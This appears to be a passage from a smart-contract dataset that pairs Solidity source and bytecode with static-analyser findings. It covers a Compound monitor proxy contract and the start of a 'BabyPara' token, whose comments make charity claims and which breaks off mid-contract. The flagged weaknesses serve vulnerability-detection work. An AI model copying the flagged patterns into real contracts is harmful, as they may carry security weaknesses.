ffffffffffffffffffffffffffffffffffff1614151561180c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415156118845780600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b5b50565b60008082840190508381101580156118a15750828110155b15156118a957fe5b8091505b5092915050565b60008282111515156118c257fe5b81830390505b929150505600a165627a7a723058205196c67d41a9eb48de02aca536ffa6a331e7171d1cddda33ec4236b4f2791da90029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}]}}
| 8,777 |
0xD64a012412F1a11f3DCEE26ddAC2e37becD03991
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(ERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*/
function safeApprove(ERC20 token, address spender, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, 0));
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(ERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(ERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(ERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface ERC20 {
function totalSupply() external view returns (uint256 supply);
function balanceOf(address _owner) external view returns (uint256 balance);
function transfer(address _to, uint256 _value) external returns (bool success);
function transferFrom(address _from, address _to, uint256 _value)
external
returns (bool success);
function approve(address _spender, uint256 _value) external returns (bool success);
function allowance(address _owner, address _spender) external view returns (uint256 remaining);
function decimals() external view returns (uint256 digits);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
abstract contract DSProxyInterface {
/// Truffle wont compile if this isn't commented
// function execute(bytes memory _code, bytes memory _data)
// public virtual
// payable
// returns (address, bytes32);
function execute(address _target, bytes memory _data) public virtual payable returns (bytes32);
function setCache(address _cacheAddr) public virtual payable returns (bool);
function owner() public virtual returns (address);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract AdminAuth {
using SafeERC20 for ERC20;
address public owner;
address public admin;
modifier onlyOwner() {
require(owner == msg.sender);
_;
}
modifier onlyAdmin() {
require(admin == msg.sender);
_;
}
constructor() public {
owner = msg.sender;
admin = 0xac04A6f65491Df9634f6c5d640Bcc7EfFdbea326;
}
/// @notice Admin is set by owner first time, after that admin is super role and has permission to change owner
/// @param _admin Address of multisig that becomes admin
function setAdminByOwner(address _admin) public {
require(msg.sender == owner);
require(admin == address(0));
admin = _admin;
}
/// @notice Admin is able to set new admin
/// @param _admin Address of multisig that becomes new admin
function setAdminByAdmin(address _admin) public {
require(msg.sender == admin);
admin = _admin;
}
/// @notice Admin is able to change owner
/// @param _owner Address of new owner
function setOwnerByAdmin(address _owner) public {
require(msg.sender == admin);
owner = _owner;
}
/// @notice Destroy the contract
function kill() public onlyOwner {
selfdestruct(payable(owner));
}
/// @notice withdraw stuck funds
function withdrawStuckFunds(address _token, uint _amount) public onlyOwner {
if (_token == 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) {
payable(owner).transfer(_amount);
} else {
ERC20(_token).safeTransfer(owner, _amount);
}
}
}
/// @title Contract with the actuall DSProxy permission calls the automation operations
contract CompoundMonitorProxy is AdminAuth {
using SafeERC20 for ERC20;
uint public CHANGE_PERIOD;
address public monitor;
address public newMonitor;
address public lastMonitor;
uint public changeRequestedTimestamp;
mapping(address => bool) public allowed;
event MonitorChangeInitiated(address oldMonitor, address newMonitor);
event MonitorChangeCanceled();
event MonitorChangeFinished(address monitor);
event MonitorChangeReverted(address monitor);
// if someone who is allowed become malicious, owner can't be changed
modifier onlyAllowed() {
require(allowed[msg.sender] || msg.sender == owner);
_;
}
modifier onlyMonitor() {
require (msg.sender == monitor);
_;
}
constructor(uint _changePeriod) public {
CHANGE_PERIOD = _changePeriod * 1 days;
}
/// @notice Only monitor contract is able to call execute on users proxy
/// @param _owner Address of cdp owner (users DSProxy address)
/// @param _compoundSaverProxy Address of CompoundSaverProxy
/// @param _data Data to send to CompoundSaverProxy
function callExecute(address _owner, address _compoundSaverProxy, bytes memory _data) public payable onlyMonitor {
// execute reverts if calling specific method fails
DSProxyInterface(_owner).execute{value: msg.value}(_compoundSaverProxy, _data);
// return if anything left
if (address(this).balance > 0) {
msg.sender.transfer(address(this).balance);
}
}
/// @notice Allowed users are able to set Monitor contract without any waiting period first time
/// @param _monitor Address of Monitor contract
function setMonitor(address _monitor) public onlyAllowed {
require(monitor == address(0));
monitor = _monitor;
}
/// @notice Allowed users are able to start procedure for changing monitor
/// @dev after CHANGE_PERIOD needs to call confirmNewMonitor to actually make a change
/// @param _newMonitor address of new monitor
function changeMonitor(address _newMonitor) public onlyAllowed {
require(changeRequestedTimestamp == 0);
changeRequestedTimestamp = now;
lastMonitor = monitor;
newMonitor = _newMonitor;
emit MonitorChangeInitiated(lastMonitor, newMonitor);
}
/// @notice At any point allowed users are able to cancel monitor change
function cancelMonitorChange() public onlyAllowed {
require(changeRequestedTimestamp > 0);
changeRequestedTimestamp = 0;
newMonitor = address(0);
emit MonitorChangeCanceled();
}
/// @notice Anyone is able to confirm new monitor after CHANGE_PERIOD if process is started
function confirmNewMonitor() public onlyAllowed {
require((changeRequestedTimestamp + CHANGE_PERIOD) < now);
require(changeRequestedTimestamp != 0);
require(newMonitor != address(0));
monitor = newMonitor;
newMonitor = address(0);
changeRequestedTimestamp = 0;
emit MonitorChangeFinished(monitor);
}
/// @notice Its possible to revert monitor to last used monitor
function revertMonitor() public onlyAllowed {
require(lastMonitor != address(0));
monitor = lastMonitor;
emit MonitorChangeReverted(monitor);
}
/// @notice Allowed users are able to add new allowed user
/// @param _user Address of user that will be allowed
function addAllowed(address _user) public onlyAllowed {
allowed[_user] = true;
}
/// @notice Allowed users are able to remove allowed user
/// @dev owner is always allowed even if someone tries to remove it from allowed mapping
/// @param _user Address of allowed user
function removeAllowed(address _user) public onlyAllowed {
allowed[_user] = false;
}
function setChangePeriod(uint _periodInDays) public onlyAllowed {
require(_periodInDays * 1 days > CHANGE_PERIOD);
CHANGE_PERIOD = _periodInDays * 1 days;
}
/// @notice In case something is left in contract, owner is able to withdraw it
/// @param _token address of token to withdraw balance
function withdrawToken(address _token) public onlyOwner {
uint balance = ERC20(_token).balanceOf(address(this));
ERC20(_token).safeTransfer(msg.sender, balance);
}
/// @notice In case something is left in contract, owner is able to withdraw it
function withdrawEth() public onlyOwner {
uint balance = address(this).balance;
msg.sender.transfer(balance);
}
}
|
0x60806040526004361061014b5760003560e01c8063a0ef91df116100b6578063cb8523c61161006f578063cb8523c61461062e578063d63a8e111461067f578063d84daef4146106e6578063deca5f8814610711578063f6df87bc14610762578063f851a4401461079d5761014b565b8063a0ef91df14610506578063a10811041461051d578063a4949f5e14610534578063a7304bf71461054b578063a80cc5461461059c578063b464a130146105dd5761014b565b80635cd82390116101085780635cd82390146102ac5780636470db2f146102fd578063894760691461034e5780638a0e833f1461039f5780638da5cb5b1461049a5780639f487a95146104db5761014b565b80630e690566146101505780631e48907b146101915780633241992a146101e257806337dfbc2b146102235780633a1283221461023a57806341c0e1b514610295575b600080fd5b34801561015c57600080fd5b506101656107de565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561019d57600080fd5b506101e0600480360360208110156101b457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610804565b005b3480156101ee57600080fd5b506101f76108a1565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561022f57600080fd5b506102386108c7565b005b34801561024657600080fd5b506102936004803603604081101561025d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b0f565b005b3480156102a157600080fd5b506102aa610c6b565b005b3480156102b857600080fd5b506102fb600480360360208110156102cf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cfc565b005b34801561030957600080fd5b5061034c6004803603602081101561032057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e47565b005b34801561035a57600080fd5b5061039d6004803603602081101561037157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f4e565b005b610498600480360360608110156103b557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019064010000000081111561041257600080fd5b82018360208201111561042457600080fd5b8035906020019184600183028401116401000000008311171561044657600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050919291929050505061107b565b005b3480156104a657600080fd5b506104af61123e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104e757600080fd5b506104f0611262565b6040518082815260200191505060405180910390f35b34801561051257600080fd5b5061051b611268565b005b34801561052957600080fd5b5061053261130f565b005b34801561054057600080fd5b506105496114eb565b005b34801561055757600080fd5b5061059a6004803603602081101561056e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061161e565b005b3480156105a857600080fd5b506105b16116bc565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105e957600080fd5b5061062c6004803603602081101561060057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116e2565b005b34801561063a57600080fd5b5061067d6004803603602081101561065157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118fa565b005b34801561068b57600080fd5b506106ce600480360360208110156106a257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a01565b60405180821515815260200191505060405180910390f35b3480156106f257600080fd5b506106fb611a21565b6040518082815260200191505060405180910390f35b34801561071d57600080fd5b506107606004803603602081101561073457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a27565b005b34801561076e57600080fd5b5061079b6004803603602081101561078557600080fd5b8101908080359060200190929190505050611b1e565b005b3480156107a957600080fd5b506107b2611bec565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461085e57600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061096a575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61097357600080fd5b42600254600654011061098557600080fd5b6000600654141561099557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156109f157600080fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060006006819055507ff0cf0fb1d4984fd3fdeb5804b50ab7d73672766197374d298ae03c24511428ed600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b6757600080fd5b73eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c1b5760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610c15573d6000803e3d6000fd5b50610c67565b610c6660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16828473ffffffffffffffffffffffffffffffffffffffff16611c129092919063ffffffff16565b5b5050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cc357600080fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680610d9f575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610da857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e0357600080fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680610eea575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610ef357600080fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fa657600080fd5b60008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561100f57600080fd5b505afa158015611023573d6000803e3d6000fd5b505050506040513d602081101561103957600080fd5b8101908080519060200190929190505050905061107733828473ffffffffffffffffffffffffffffffffffffffff16611c129092919063ffffffff16565b5050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146110d557600080fd5b8273ffffffffffffffffffffffffffffffffffffffff16631cff79cd3484846040518463ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561115f578082015181840152602081019050611144565b50505050905090810190601f16801561118c5780820380516001836020036101000a031916815260200191505b5093505050506020604051808303818588803b1580156111ab57600080fd5b505af11580156111bf573d6000803e3d6000fd5b50505050506040513d60208110156111d657600080fd5b8101908080519060200190929190505050506000471115611239573373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015611237573d6000803e3d6000fd5b505b505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60065481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112c057600080fd5b60004790503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561130b573d6000803e3d6000fd5b5050565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806113b2575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6113bb57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561141757600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f3171d10a05f16eb3f4ac9f5f6ede2eb01879c4767d0a81351298706b9b9f06d0600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061158e575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61159757600080fd5b6000600654116115a657600080fd5b60006006819055506000600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f42680bdc7b242ef4af932d3ddd65e6f0ecfc35d073943a080d0db1cd7687a07660405160405180910390a1565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461167857600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611785575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61178e57600080fd5b60006006541461179d57600080fd5b42600681905550600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f50f3e3b3fa828c00bec850856e48a55735fd2c71de3396bdea5c604cb2ee1a2d600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a150565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061199d575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6119a657600080fd5b6001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60076020528060005260406000206000915054906101000a900460ff1681565b60025481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611a7f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ada57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bc1575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b611bca57600080fd5b60025462015180820211611bdd57600080fd5b62015180810260028190555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611caf8363a9059cbb60e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050611cb4565b505050565b6060611d16826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff16611da39092919063ffffffff16565b9050600081511115611d9e57808060200190516020811015611d3757600080fd5b8101908080519060200190929190505050611d9d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a81526020018061200d602a913960400191505060405180910390fd5b5b505050565b6060611db28484600085611dbb565b90509392505050565b6060611dc685611fc1565b611e38576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000081525060200191505060405180910390fd5b600060608673ffffffffffffffffffffffffffffffffffffffff1685876040518082805190602001908083835b60208310611e885780518252602082019150602081019050602083039250611e65565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114611eea576040519150601f19603f3d011682016040523d82523d6000602084013e611eef565b606091505b50915091508115611f04578092505050611fb9565b600081511115611f175780518082602001fd5b836040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611f7e578082015181840152602081019050611f63565b50505050905090810190601f168015611fab5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b949350505050565b60008060007fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47060001b9050833f915080821415801561200357506000801b8214155b9250505091905056fe5361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a26469706673582212205434067a6eceddb734cc5346aaeb4572b14139fbb8d1c22d0590cf72a9b5539164736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,778 |
0x18abac0bdcb151e89eaf4e2d9c438d84a9a4aa75
|
/**
*Submitted for verification at Etherscan.io on 2022-04-05
*/
// SPDX-License-Identifier: MIT
//The children of our veterans and the descendants of those who died on the battlefield need our attention even more.
//We're working on the mental health of those kids, and we're creating a Children's Mental Health Commission, which will be headquartered in East Lansing.
//Total: 70,000,000,000
//Burn: 20,000,000,000
//6% for The Foundation
//Max: 1%
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract BABYPARA is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "BabyPara";
string private constant _symbol = "BABYPARA";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 70000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 6;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 6;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
